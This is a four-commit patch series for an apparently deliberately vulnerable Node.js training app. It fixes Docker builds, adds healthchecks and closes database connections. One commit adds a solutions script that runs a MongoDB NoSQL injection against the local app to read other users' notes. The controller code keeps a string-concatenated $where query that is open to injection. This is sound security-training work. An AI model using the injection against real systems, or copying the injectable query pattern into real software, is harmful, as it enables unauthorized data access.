From e06f2b33c3f0a3f61c2e0c552571bdbc25671b64 Mon Sep 17 00:00:00 2001 From: Dan Kegel Date: Wed, 18 Feb 2026 15:26:05 -0800 Subject: [PATCH 1/4] Get running on modern macs Fixes https://github.com/payatu/vuln-nodejs-app/issues/3 Written mostly before I noticed the longer fix there. --- Dockerfile | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/Dockerfile b/Dockerfile index 69c57be5..1232fa91 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,6 +1,14 @@ -FROM node:16 +# Use bullseye because otherwise apt-get was failing for me in 2026...? +FROM node:16-bullseye-slim WORKDIR /usr/code COPY package*.json ./ + +# Need a few more bits with the slim base image +RUN apt-get update -y && apt-get install -y build-essential iputils-ping + +# Simple solution to no-chromium-bundled-for-arm; see https://github.com/payatu/vuln-nodejs-app/issues/3 for longer one +RUN if [ "$(uname -m)" = "aarch64" ] ; then apt-get install -y chromium; fi + RUN npm install RUN npm install nodemon -g COPY . . From 13207307756c4af97542db276b2219147b4a3940 Mon Sep 17 00:00:00 2001 From: Dan Kegel Date: Wed, 18 Feb 2026 15:34:02 -0800 Subject: [PATCH 2/4] docker-compose.yml: add healthcheck Without this, "docker-compose up" would fail for me. --- docker-compose.yml | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/docker-compose.yml b/docker-compose.yml index 369f995f..cfb3b6fa 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -32,6 +32,9 @@ services: - MONGO_INITDB_ROOT_PASSWORD=supersecret networks: - internalnet + healthcheck: + test: ["CMD", "sh", "-c", "echo 'db.runCommand({ ping: 1 }).ok' | mongosh --quiet"] + start_period: 30s nodeapp: container_name: vuln_nodejs_app @@ -57,11 +60,13 @@ services: MONGODB_ADMINUSERNAME: vuln_nodejs_app MONGODB_ADMINPASSWORD: supersecret depends_on: - - mysqldb - - mongodb + mysqldb: + condition: service_started + mongodb: + condition: service_healthy networks: - internalnet networks: internalnet: - driver: bridge \ No newline at end of file + driver: bridge From b181ce1979df17ef521519c38e98fe2b979c1b93 Mon Sep 17 00:00:00 2001 From: Dan Kegel Date: Sun, 22 Feb 2026 08:29:06 -0800 Subject: [PATCH 3/4] docker-compose.yml: add healthcheck for mysql as well --- docker-compose.yml | 8 +++++++- solutions/solutions.md | 13 +++++++++++++ 2 files changed, 20 insertions(+), 1 deletion(-) diff --git a/docker-compose.yml b/docker-compose.yml index cfb3b6fa..77ac2c71 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -19,6 +19,12 @@ services: SERVICE_NAME: mysqldb networks: - internalnet + healthcheck: + test: ["CMD", "mysqladmin", "ping", "-h", "localhost", "--silent"] + interval: 10s + timeout: 5s + retries: 5 + start_period: 10s mongodb: image: mongo @@ -61,7 +67,7 @@ services: MONGODB_ADMINPASSWORD: supersecret depends_on: mysqldb: - condition: service_started + condition: service_healthy mongodb: condition: service_healthy networks: diff --git a/solutions/solutions.md b/solutions/solutions.md index ed89f0a0..de475631 100644 --- a/solutions/solutions.md +++ b/solutions/solutions.md @@ -1010,6 +1010,19 @@ Application is using MongoDB to handle user notes your goal is to read a note wi {"username":{"$ne":""}} ``` +Here's a shell script to do it in one shot: +``` +#!/bin/sh +rand=$(date | (shasum || sha1sum) | cut -c1-6) +authToken=$(curl -s http://localhost:9000/register \ + -H "Content-Type: application/x-www-form-urlencoded" \ + -d "username=user$rand&email=nobody@example.com&password=testpass123") + +curl -gisS http://localhost:9000/mongodb-notes/show-notes \ + -H "Cookie: authToken=$authToken" \ + --json '{"username":{"$ne":""}}' +``` + ### Vulnerable code **Request method, endpoint, parameter** From f1b7ffa3af3b302a1a63996ab946ea77c04b99cc Mon Sep 17 00:00:00 2001 From: Dan Kegel Date: Sun, 22 Feb 2026 11:56:46 -0800 Subject: [PATCH 4/4] vuln_controller.js: close db connection when done to avoid leak A production server would use a connection pool, but this is good enough for a demo server. Without this, it fell over quickly with error messages like mongodb | {"t":{"$date":"2026-02-22T16:50:31.509+00:00"},"s":"I", "c":"NETWORK", "id":22942, "ctx":"listener","msg":"Connection refused because there are too many open connections","attr":{"remote":"172.19.0.4:43878", "isLoadBalanced":false,"uuid":{"uuid":{"$uuid":"34967c06-e714-4e0d-af04-ae172e507155"}},"connectionId":1662,"connectionCount":409}} The health check probably made this worse, which probably explains why nobody noticed this before. --- controllers/vuln_controller.js | 16 ++++++++++++++-- 1 file changed, 14 insertions(+), 2 deletions(-) diff --git a/controllers/vuln_controller.js b/controllers/vuln_controller.js index a8efb10d..61e1c744 100644 --- a/controllers/vuln_controller.js +++ b/controllers/vuln_controller.js @@ -520,11 +520,16 @@ const mongodb_save_notes_post = (req, res) => { if (err) { console.log(err); res.status(500).send('Internal error!'); + return; } dbo = db.db('vuln_nodejs_app'); dbo.collection('mongodb-notes').insertOne(noteObj, (err, result) => { - if (err) return res.status(500).send('Internal error!'); + if (err) { + db.close(); + return res.status(500).send('Internal error!'); + } res.send({'success': 'true'}); + db.close(); }); }); }; @@ -536,8 +541,10 @@ const mongodb_show_notes_post = (req, res) => { db.collection('mongodb-notes').find({username: req.body.username}).toArray() .then((notes) => { res.send(notes); + client.close(); }).catch((err) => { res.status(500).send('Internal error!'); + client.close(); }); }); }; @@ -698,10 +705,15 @@ const secret_post = (req, res) => { const db = client.db('vuln_nodejs_app'); db.collection('secret').find({$where: 'this.password ==\''+req.body.password+'\''}).toArray() .then((secret) => { - if (secret.length == 0) return res.status(403).send('Incorrect password!'); + if (secret.length == 0) { + client.close(); + return res.status(403).send('Incorrect password!'); + } res.send(secret[0].flag); + client.close(); }).catch((err) => { res.status(500).send('Internal server error!'); + client.close(); }); }); };